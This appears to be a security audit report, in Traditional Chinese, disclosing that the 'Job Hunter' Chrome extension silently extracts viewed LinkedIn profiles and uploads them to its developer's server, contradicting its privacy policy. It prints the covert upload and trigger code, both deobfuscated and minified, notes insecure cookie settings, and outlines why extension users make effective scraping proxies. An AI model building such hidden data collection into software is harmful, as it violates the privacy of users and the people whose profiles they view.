「求職匠 Job Hunter」Chrome 擴充功能如何在你不知情的情況下上傳你瀏覽的每一個 LinkedIn 個人檔案

JR Academy Chrome 擴充功能安全審計：靜默資料外傳的技術取證

審計對象：求職匠 Job Hunter v0.9.18（Chrome Web Store ID: kbecnmcienhaopoibckmbijngmcakplf）

開發者：JR Academy Pty Ltd（https://jiangren.com.au），澳洲匠人學院

審計方法：從 Chrome Web Store 下載 CRX 套件，解壓後對全部 JS 原始碼進行靜態分析

審計原則：本報告僅記錄可從原始碼中直接驗證的事實，不做推測

摘要

求職匠 Job Hunter 是由 JR Academy（匠人學院）開發的 Chrome 瀏覽器擴充功能，宣稱提供 AI 求職輔助功能。然而，對其原始碼的完整審計揭露了一個隱藏的自動資料外傳機制：當安裝了該擴充功能的使用者瀏覽任何 LinkedIn 個人檔案頁面時，擴充功能會在完全無需使用者操作的情況下，自動擷取該頁面上的完整個人檔案資料（姓名、工作經歷、學歷、技能等 15+ 個欄位），並透過 HTTP POST 請求靜默上傳至 api.jiangren.com.au。

JR Academy 自己的隱私政策明確聲明：

「We do not passively monitor your browsing activity」（我們不會被動監控您的瀏覽活動）

「Content extraction occur only when you explicitly trigger them」（內容擷取僅在您主動觸發時才會發生）

原始碼證明事實恰恰相反。

English Version

简体中文版

1. 鐵證：自動上傳個人檔案資料

1.1 上傳函式

Service Worker 中存在一個資料上報函式（混淆後為 R()），功能為將 LinkedIn 個人檔案資料透過 POST 請求傳送至 JR Academy 的後端伺服器：

// 反混淆後的等價邏輯
let lastReportedUrl = "";
let lastReportedTime = 0;

function reportProfileToServer(profileData) {
    if (!profileData?.name || !profileData?.profileUrl) return;

    const url = profileData.profileUrl;
    const now = Date.now();

    // 節流：相同 URL 10 秒內不重複上報
    if (url === lastReportedUrl && now - lastReportedTime < 10000) return;
    lastReportedUrl = url;
    lastReportedTime = now;

    getAuthHeaders().then(headers => {
        // 僅在使用者已登入時上傳
        headers.Authorization && fetch(
            "https://api.jiangren.com.au/ai-tutor/linkedin-profile",
            {
                method: "POST",
                headers: headers,
                body: JSON.stringify(profileData)  // 完整個人檔案物件
            }
        ).catch(() => {})  // 靜默吞掉所有錯誤
    }).catch(() => {})
}

原始混淆程式碼（可在解壓後的 CRX 中搜尋驗證 — 檔案 assets/service-worker.ts-BSerYTM6.js）：

function R(e){if(!(e!=null&&e.name)||!(e!=null&&e.profileUrl))return;const t=e.profileUrl,a=Date.now();t===J&&a-j<1e4||(J=t,j=a,m().then(r=>{r.Authorization&&fetch(y("/ai-tutor/linkedin-profile"),{method:"POST",headers:r,body:JSON.stringify(e)}).catch(()=>{})}).catch(()=>{}))}

其中 y() 函式定義為：

const me = "https://api.jiangren.com.au";
function y(e) { return `${me}${e}` }

1.2 自動觸發機制

該上傳函式的核心呼叫位於 PAGE_TYPE_CHANGED 訊息處理器中 — 當使用者瀏覽任何 LinkedIn 個人檔案頁面時自動觸發：

// 反混淆後的等價邏輯
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
    if (message.type === "PAGE_TYPE_CHANGED") {
        const tabId = sender.tab?.id;

        // 當頁面類型為 "profile" — 延遲 3 秒後觸發
        message.payload.pageType === "profile" && tabId && setTimeout(() => {
            chrome.tabs.sendMessage(tabId, { type: "EXTRACT_PROFILE_DATA" })
                .then(result => {
                    result?.profileData && reportProfileToServer(result.profileData)
                })
                .catch(() => {})
        }, 3000)

        return false;
    }
});

原始混淆程式碼：

if(e.type==="PAGE_TYPE_CHANGED"){const i=(o=t.tab)==null?void 0:o.id;return i!==void 0&&(q.set(i,e.payload.pageType),chrome.runtime.sendMessage({type:"PAGE_TYPE_CHANGED",payload:e.payload}).catch(()=>{}),e.payload.pageType==="profile"&&i&&setTimeout(()=>{chrome.tabs.sendMessage(i,{type:"EXTRACT_PROFILE_DATA"}).then(l=>{l!=null&&l.profileData&&R(l.profileData)}).catch(()=>{})},3e3)),!1}

1.3 上傳的資料內容

profileData 物件包含以下欄位：

{
    name:                "完整姓名",
    headline:            "職業頭銜",
    about:               "完整的「關於」區段文字",
    location:            "所在地",
    profileUrl:          "https://www.linkedin.com/in/...",
    isOwnProfile:        true/false,
    experience:          [{ title, company, duration, description, isCurrent }],
    education:           [{ school, degree, field, years }],
    skills:              ["技能1", "技能2", ...],
    certifications:      [...],           // 專業認證
    languages:           [...],           // 語言能力
    volunteerExperience: [...],           // 志工經歷
    profileImageUrl:     "https://...",   // 大頭貼 URL
    connectionLevel:     "1st/2nd/3rd",   // 人脈關係級別
    connections:         "500+ connections"
}

這不是摘要 — 而是涵蓋 15+ 個資料欄位的完整個人檔案擷取。

1.4 完整攻擊鏈

使用者瀏覽任何 LinkedIn 個人檔案頁面
    |
    v
Content Script 偵測到 URL 符合 linkedin.com/in/*
    |
    v
發送 PAGE_TYPE_CHANGED { pageType: "profile" } 至 Service Worker
    |
    v
Service Worker 等待 3 秒（setTimeout 3000ms）
    |
    v
向 Content Script 發送 EXTRACT_PROFILE_DATA 指令
    |
    v
Profile Extractor 解析整個頁面 DOM
    |
    v
Service Worker 收到完整的 profileData 物件
    |
    v
R() 將完整 JSON 透過 POST 傳送至 https://api.jiangren.com.au/ai-tutor/linkedin-profile
    |
    v
.catch(() => {})  — 使用者看不到任何東西，完全不知情

整個過程中零使用者互動。

2. 自動校友查詢洩露瀏覽記錄

Service Worker 中還包含一個校友檢查函式（混淆後為 _e()），在使用者每次瀏覽 LinkedIn 個人檔案頁面時，自動向 JR Academy 後端發送被瀏覽者的 URL 和姓名：

async function checkAlumni(linkedinUrl, name) {
    const params = new URLSearchParams({ linkedinUrl, name });
    const response = await fetch(
        `https://api.jiangren.com.au/ai-tutor/alumni/check?${params}`,
        { headers: authHeaders }
    );
}

原始混淆程式碼：

async function _e(e,t){const a=I.get(e);if(a)return a;try{const o=await m(),n=new URLSearchParams({linkedinUrl:e,name:t}),s=await fetch(y(`/ai-tutor/alumni/check?${n}`),{headers:o});

此查詢由 Content Script 自動發起，無需使用者操作。後端因此可記錄每個擴充功能使用者瀏覽過的所有 LinkedIn 個人檔案。

3. 隱私政策與實際行為的直接矛盾

JR Academy 的隱私政策（最後更新日期 2026 年 3 月 16 日，Wayback Machine 存檔）做出了以下聲明，每一條都被程式碼直接推翻。

矛盾一：「不被動監控」

隱私政策聲明	程式碼事實
「We do not passively monitor your browsing activity.」	`PAGE_TYPE_CHANGED` 處理器在使用者僅僅瀏覽 LinkedIn 個人檔案時就自動擷取並上傳資料，無需點擊、無需快捷鍵、無需同意。
「No background data collection, automatic screenshots, or passive browsing monitoring occurs.」	整個 `PAGE_TYPE_CHANGED` → 3 秒延遲 → `EXTRACT_PROFILE_DATA` → `R()` 鏈條完全在背景執行，零使用者互動。

矛盾二：「僅在主動觸發時擷取」

隱私政策聲明	程式碼事實
「Our Chrome browser extensions collect additional data only when you actively use their features.」	觸發條件是 URL 模式匹配，不是使用者操作。
「Content extraction occur only when you explicitly trigger them (e.g., pressing a keyboard shortcut or clicking a button).」	從 `PAGE_TYPE_CHANGED` 到 `R()` 的程式碼路徑中不存在任何使用者互動檢查 — 沒有 `confirm()`、沒有點擊監聽器、沒有快捷鍵偵測。

矛盾三：資料擷取範圍嚴重低報

隱私政策聲明	程式碼事實
資料擷取範圍：「Job posting content from supported job sites; current page URL」	實際上傳：完整姓名、頭銜、簡介、所在地、完整工作經歷、學歷、技能、認證、語言、志工經歷、大頭貼、人脈級別 — 15+ 個資料欄位，全部未揭露

矛盾四：第三方資料蒐集完全未揭露

隱私政策僅描述對擴充功能使用者本人資料的蒐集，從未提及會蒐集第三方 LinkedIn 使用者的個人資訊 — 即那些被瀏覽的個人檔案的擁有者。

isOwnProfile 欄位的存在證明開發者明確區分了「自己的頁面」和「他人的頁面」。然而上傳函式 R() 並不檢查此欄位 — 無論是自己的還是他人的個人檔案，都會被一律上傳：

function R(e) {
    if (!(e?.name) || !(e?.profileUrl)) return;  // 僅校驗姓名和 URL 存在
    // 沒有 isOwnProfile 檢查 — 全部上傳
    // ...
}

認證 token 以 SameSite=None 儲存：

await chrome.cookies.set({
    url: "https://jiangren.com.au",
    name: "jr_ext_token",
    value: token,                        // 明文 token
    sameSite: "no_restriction",          // SameSite=None — 任何第三方網站都能跨站攜帶此 Cookie
    expirationDate: now + 30 * 86400    // 30 天有效期
});

await chrome.cookies.set({
    url: "https://jiangren.com.au",
    name: "jr_ext_user",
    value: encodeURIComponent(JSON.stringify(userInfo)),  // 使用者資訊以明文 JSON 儲存
    sameSite: "no_restriction",
    expirationDate: now + 30 * 86400
});

Session Storage 存取層級也被提升，允許 Content Scripts（在第三方網頁上下文中執行）存取 session 資料：

chrome.storage.session.setAccessLevel({
    accessLevel: "TRUSTED_AND_UNTRUSTED_CONTEXTS"
})

5. 本報告不主張的部分

為維護報告公信力，以下模組經程式碼驗證為純本地功能，不存在自動回傳後端的行為：

模組	是否呼叫後端 API？	結論
人脈擷取 + 分類	否	本地功能
訊息擷取 + 分類	否	本地功能
動態流掃描	否	本地功能
公司資訊擷取	否	本地功能
快速回覆模板	否	本地功能
貼文注入	否	本地功能
職位收藏（右鍵選單）	是，但為使用者主動觸發	合理功能

這些是合理的本地功能。本報告僅聚焦於第 1-4 節所述的自動、靜默資料外傳行為。

6. 更廣泛的啟示

此案例揭示了一個被低估的攻擊面：利用擴充功能使用者作為不知情的資料蒐集代理節點。

與傳統爬蟲相比，此模式具有以下優勢（對攻擊者而言）：

繞過反機器人防護 — 請求來自真實瀏覽器，帶有真實的 Cookie 和 Session
分散 IP 位址 — 每個使用者有不同的 IP
利用已認證的 Session — 可存取僅登入使用者可見的資料（如聯絡資訊、2nd/3rd 度人脈）
隨安裝量擴展 — 無需維護爬蟲基礎設施

假設有 1,000 名活躍使用者，每人每天瀏覽 10 個 LinkedIn 個人檔案，後端每天可累積 10,000 份完整的職業個人檔案 — 零基礎設施成本。

7. 獨立驗證指南

所有發現均可在 5 分鐘內獨立驗證。

步驟 1：下載並解壓

# 下載 CRX
curl -L -o extension.crx \
  "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=131.0.0.0&acceptformat=crx2,crx3&x=id%3Dkbecnmcienhaopoibckmbijngmcakplf%26uc"

# 解壓（使用本專案提供的腳本）
python3 extract.py extension.crx

步驟 2：執行自動驗證

./verify.sh source/

步驟 3：手動驗證

# 搜尋上傳端點
grep -r "ai-tutor/linkedin-profile" source/

# 搜尋自動觸發機制
grep -r "PAGE_TYPE_CHANGED" source/

# 搜尋 SameSite=None Cookie
grep -r "no_restriction" source/

# 追蹤呼叫鏈：PAGE_TYPE_CHANGED → "profile" → setTimeout(3e3) → EXTRACT_PROFILE_DATA → R() → fetch(POST)

揭露時間線

日期	行動
2026-04-03	原始碼審計完成
2026-04-03	向 Google Chrome Web Store 及 LinkedIn Trust & Safety 提交舉報
2026-04-03	公開揭露
待定	向 JR Academy 提交正式隱私投訴（privacy@jiangren.com.au）
+30 天	向 OAIC（澳洲資訊專員辦公室）提出申訴

法律聲明

本分析透過對 Chrome Web Store 公開套件的靜態程式碼審查進行。未進行動態測試、後端 API 逆向工程或任何未授權存取。CRX 檔案可透過 Google 的 update API 公開下載 — 解壓並分析它們是標準的安全研究實務。

倉庫可用性聲明

本倉庫不會被維護者主動刪除或設為私有。如果本倉庫在任何時候變得無法存取，應視為受到外部施壓、法律威脅或其他不可抗力因素所致，而非維護者主動撤回報告內容。

作者對本報告中記錄的每一項技術事實負責。所有發現均可透過所附的證據和腳本獨立驗證。

建議讀者 Fork 本倉庫，以確保資訊持續可用。

授權條款

本報告以 CC BY 4.0 授權發布。您可以在標明出處的前提下自由分享和改編本報告。

JR Academy Chrome Extension Security Audit

「求職匠 Job Hunter」Chrome 擴充功能如何在你不知情的情況下上傳你瀏覽的每一個 LinkedIn 個人檔案

JR Academy Chrome 擴充功能安全審計：靜默資料外傳的技術取證

摘要

目錄

1. 鐵證：自動上傳個人檔案資料

1.1 上傳函式

1.2 自動觸發機制

1.3 上傳的資料內容

1.4 完整攻擊鏈

2. 自動校友查詢洩露瀏覽記錄

3. 隱私政策與實際行為的直接矛盾

矛盾一：「不被動監控」

矛盾二：「僅在主動觸發時擷取」

矛盾三：資料擷取範圍嚴重低報

矛盾四：第三方資料蒐集完全未揭露

5. 本報告不主張的部分

6. 更廣泛的啟示

7. 獨立驗證指南

步驟 1：下載並解壓

步驟 2：執行自動驗證

步驟 3：手動驗證

揭露時間線

法律聲明

倉庫可用性聲明

授權條款

「求職匠 Job Hunter」Chrome 擴充功能如何在你不知情的情況下上傳你瀏覽的每一個 LinkedIn 個人檔案

JR Academy Chrome 擴充功能安全審計：靜默資料外傳的技術取證

摘要

目錄

1. 鐵證：自動上傳個人檔案資料

1.1 上傳函式

1.2 自動觸發機制

1.3 上傳的資料內容

1.4 完整攻擊鏈

2. 自動校友查詢洩露瀏覽記錄

3. 隱私政策與實際行為的直接矛盾

矛盾一：「不被動監控」

矛盾二：「僅在主動觸發時擷取」

矛盾三：資料擷取範圍嚴重低報

矛盾四：第三方資料蒐集完全未揭露

4. 不安全的 Cookie 設定

5. 本報告不主張的部分

6. 更廣泛的啟示

7. 獨立驗證指南

步驟 1：下載並解壓

步驟 2：執行自動驗證

步驟 3：手動驗證

揭露時間線

法律聲明

倉庫可用性聲明

授權條款